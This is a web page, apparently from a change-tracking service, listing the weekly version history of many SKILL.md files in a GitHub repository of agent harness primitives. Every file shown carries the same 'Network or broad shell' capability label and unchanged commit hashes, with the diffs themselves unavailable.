Not in the top 1,000 by GitHub stars
gbb-acelerators/awesome-harness-primitives
Curated, validated harness primitives for GitHub Copilot and Claude Code: agents, skills, prompts, hooks, plugins, MCP integrations, catalogs, and tooling.
History
Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.
View weekly changes
docs/references/ears-validate/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
docs/references/iac-review/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
docs/references/postgresql-code-review/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
docs/templates/skill-creator/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/acreadiness-cockpit/skills/acreadiness-assess/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/acreadiness-cockpit/skills/acreadiness-generate-instructions/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/acreadiness-cockpit/skills/acreadiness-policy/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/agent-governance/skills/agent-governance/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/agent-governance/skills/agent-owasp-compliance/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/agent-governance/skills/agent-supply-chain/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/agent-governance/skills/audit-integrity/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/ai-team-orchestration/skills/ai-team-orchestration/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/application-security/skills/codeql/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/application-security/skills/data-breach-blast-radius/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/application-security/skills/gdpr-compliant/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/application-security/skills/secret-scanning/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/application-security/skills/security-review/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/application-security/skills/threat-model-analyst/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/application-security/skills/tm7-threat-model/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/arch/skills/doc-and-modernize/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/arize-ax/skills/arize-ai-provider-integration/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/arize-ax/skills/arize-annotation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/arize-ax/skills/arize-dataset/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/arize-ax/skills/arize-evaluator/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/arize-ax/skills/arize-experiment/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/arize-ax/skills/arize-instrumentation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/arize-ax/skills/arize-link/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/arize-ax/skills/arize-prompt-optimization/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/arize-ax/skills/arize-trace/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/automate-this/skills/automate-this/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/awesome-copilot/skills/suggest-awesome-github-copilot-agents/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/awesome-copilot/skills/suggest-awesome-github-copilot-instructions/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/awesome-copilot/skills/suggest-awesome-github-copilot-skills/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/aws-cloud-development/skills/aws-cost-optimize/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/aws-cloud-development/skills/aws-resource-health-diagnose/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/aws-cloud-development/skills/aws-resource-query/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/aws-cloud-development/skills/aws-well-architected-review/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-ai-foundry/skills/agentic-eval/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-ai-foundry/skills/apim-ai-gateway/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-ai-foundry/skills/azure-ai/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-ai-foundry/skills/azure-api-center/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-ai-foundry/skills/azure-managed-redis-cache/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-ai-foundry/skills/entra-agent-user/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-ai-foundry/skills/foundry-agent-sync/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-ai-foundry/skills/foundry-hosted-agent-copilotkit/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-ai-foundry/skills/microsoft-agent-framework/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-ai-foundry/skills/semantic-kernel/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard-prereq/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-scaffold-wizard/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-validate/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-cloud-development/skills/az-cost-optimize/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-cloud-development/skills/azure-cli/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-cloud-development/skills/azure-infrastructure/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-cloud-development/skills/azure-pricing/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-cloud-development/skills/azure-resource-health-diagnose/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-cloud-development/skills/azure-resource-lookup/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-cloud-development/skills/azure-resource-visualizer/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-cloud-development/skills/azure-terraform-cli/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-cloud-development/skills/azure-terraform-terratest-module-testing/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-cloud-development/skills/import-infrastructure-as-code/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-data-development/skills/azure-kusto/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-data-development/skills/azure-kusto-graph/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-data-development/skills/azure-kusto-irql/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-data-development/skills/azure-kusto-irql-graph/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-data-development/skills/azure-messaging/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
